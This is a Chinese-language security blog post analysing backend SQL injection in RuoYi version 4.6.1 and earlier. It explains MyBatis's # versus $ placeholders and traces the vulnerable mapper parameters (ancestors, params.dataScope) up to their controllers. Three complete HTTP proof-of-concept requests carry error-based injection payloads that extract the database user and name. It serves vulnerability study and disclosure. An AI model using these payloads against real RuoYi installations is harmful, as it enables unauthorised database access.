若依(RuoYi)管理系统后台sql注入漏洞分析

Qu3een 2022-08-26 10:02:00

若依管理系统是基于SpringBoot框架开发的,并利用MyBatis框架进行数据库操作。在RuoYi <=4.6.1版本中后台存在sql注入漏洞,本着对MyBatis框架中sql注入学习的态度,对该漏洞进行了以下分析。

0x1 关于Mybatis

Mybatis是个对jdbc进行简单封装的持久层框架。MyBatis 使用简单的 XML或注解用于配置和原始映射(更多的是以xml方式写入到xml文件中),将接口和 Java 的POJOs(Plain Ordinary Java Objects,普通的 Java对象)映射成数据库中的记录。

0x11 Mybatis框架架构

(1)加载配置:配置来源于两个地方,一处是配置文件,一处是Java代码的注解,将SQL的配置信息加载成为一个个MappedStatement对象(包括了传入参数映射配置、执行的SQL语句、结果映射配置),存储在内存中。

(2)SQL解析:当API接口层接收到调用请求时,会接收到传入SQL的ID和传入对象(可以是Map、JavaBean或者基本数据类型),Mybatis会根据SQL的ID找到对应的MappedStatement,然后根据传入参数对象对MappedStatement进行解析,解析后可以得到最终要执行的SQL语句和参数。

(3)SQL执行:将最终得到的SQL和参数拿到数据库进行执行,得到操作数据库的结果。

(4)结果映射:将操作数据库的结果按照映射的配置进行转换,可以转换成HashMap、JavaBean或者基本数据类型,并将最终结果返回。

0x12 Mybatis配置文件及sql映射

Mybatis的全局配置文件——SqlMapConfig.xml
SqlMapConfig.xml中配置了dataSource(数据源)、mappers(映射器)等,内容如下:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<environments default="development">
<environment id="development">
<transactionManager type="JDBC" />
<!-- 数据库连接池 -->
<dataSource type="POOLED">
<property name="driver" value="com.mysql.jdbc.driver" />
<property name="url" value="jdbc:mysql://localhost:3306/mybatis?characterEncoding=utf-8" />
<property name="username" value="xx" />
<property name="password" value="xx" />
</dataSource>
</environment>
</environments>
<!-- 加载映射文件 -->
<mappers>
    <mapper resource="mybatistet/User.xml" />
</mappers>
</configuration>

其中,加载的映射文件mybatistet/User.xml中定义了sql语句与po类的映射关系。po类通常与数据库中的数据表相照应。比如定义User类

package mybatis;

public class User {
    public int id;
    public String name;
    public int age;
    public String email;
}

举例,根据id查询用户,则在映射文件mybatistet/User.xml中进行以下配置:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="mybatistest">
</mapper>
<select id="findUserById" parameterType="int" resultType="mybatis.User">
select * from user where id = #{id}
</select>

parameterType:定义输入到sql中的映射类型,#{id}表示使用preparedstatement预处理设置占位符号并将输入变量id传到sql。

resultType:定义结果映射类型。

其中,在进行sql语句查询是,MyBatis支持两种参数符号,一种是#,另一种是$#使用预编译向占位符中设置值,可有效防止sql注入。$使用拼接SQL,也是触发sql注入的关键。

测试:

public class TestMybatis {
    public static void main(String[] args) throws Exception{
        String resource = "SqlMapConfig.xml";
        InputStream inputStream = Resources.getResourceAsStream(resource);
        SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
        SqlSession  sqlSession = sqlSessionFactory.openSession();
        User user = sqlSession.selectOne("mybatistest.findUserById", 10);
        System.out.println(user);
    }
}

以上就是利用Mybatis框架进行sql查询的一些前置知识,下面分析如何在RuoYi中触发sql注入。

0x2 Ruoyi (4.6.1版本) 后台sql注入分析

ruoyi中关于mybatis的相关配置在application.yml文件中:
image.png
由以上配置可知,所有的mapper.xml映射文件在classpath:mapper/**/*Mapper.xml中。因此,有个简单粗暴的方法,遍历所有classpath:mapper/*/Mapper.xml文件,找包含"$"字符的文件。
于是定位到/resources/mapper/system/SysDeptMapper.xml文件。
SysDeptMapper.xml配置文件里内容为:
image.png
很明显ancestors参数存在sql注入,其中完整语句是update sys_dept set status=0 where dept_id in (ancestors的值)。因此可通过该update操作触发sql注入。那么如何设计请求来触发该update数据操作呢?
通过SysDeptMapper.xml文件中的<mapper namespace="com.ruoyi.system.mapper.SysDeptMapper">定位到Dao层,在dao层对应的com.ruoyi.system.mapper.SysDeptMapper类中找到该方法:
image.png
在基于springboot框架中,可通过以下3种方式进行sql操作:
1、业务层调用dao层
2、controller调用Service层间接调用dao层
3、controller直接调用dao层
在RuoYi中,找到在service层的com.ruoyi.system.service.impl.SysDeptServiceImpl类的updateParentDeptStatus()方法中可调用到updateDeptStatus(SysDept dept)方法。
image.png
com.ruoyi.system.service.impl.SysDeptServiceImpl#updateParentDeptStatus又是通过com.ruoyi.system.service.impl.SysDeptServiceImpl#updateDep方法调用。
image.png
因此最后定位到SysDeptControllereditSave()方法可触发该调用。
image.png
局部调用链如下图:
image.png
由此最终利用如下:

POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1b3960f0-fd75-4bc5-a130-9e822c5c9e5d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

image.png
按照同样的方式也可定位到/resources/mapper/system/SysRoleMapper.xml文件。
image.png
完整的sql语句应该是:
select distinct r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status, r.del_flag, r.create_time, r.remark from sys_role r left join sys_user_role ur on ur.role_id = r.role_id left join sys_user u on u.user_id = ur.user_id left join sys_dept d on u.dept_id = d.dept_id where r.del_flag = '0' ${params.dataScope}
可见${params.dataScope}能触发sql注入。
按照以上同样的方式,根据SysRoleMapper.xml文件中的<mapper namespace="com.ruoyi.system.mapper.SysRoleMapper">定位到com.ruoyi.system.mapper.SysRoleMapper类的selectRoleList方法:
image.png
然后回溯调用selectRoleList方法的service,定位到com.ruoyi.system.service.impl.SysRoleServiceImpl#selectRoleList
image.png
最后查找调用com.ruoyi.system.service.impl.SysRoleServiceImpl#selectRoleList方法的controller——com.ruoyi.web.controller.system.SysRoleController,在其中的list()方法和export()方法均调用了selectRoleList方法:
image.png
至此可构造如下poc进行sql注入利用:

POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=906c97c0-7058-4645-a87a-d15a940f4841
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

image.png
或者利用/export接口触发sql注入:

POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=906c97c0-7058-4645-a87a-d15a940f4841
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image.png

总结

本文以RuoYi为例学习并整理了基于Mybatis框架的sql注入原理和场景,为高效快速挖掘基于Mybatis框架的sql注入提供一种思路和参考。

评论

Qu3een

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

企业安全 文章:40 篇
渗透测试 文章:154 篇
数据分析与机器学习 文章:12 篇
APT 文章:6 篇
Exploit 文章:40 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

D

Da22le

因为JdbcRowSetImpl是通过JNDI来实现rce的,191以后对JND

xiaokonglong

师傅我有个问题。1.2.24哪里有个问题,为什么什么是161-191?

C

CDxiaodong

0rz

U

Uesaka

说加入AD变简单的可能没遇到死亡题,2333~

Mas0n

附件: https://pan.baidu.com/s/1rbW_SQiRpv1

目录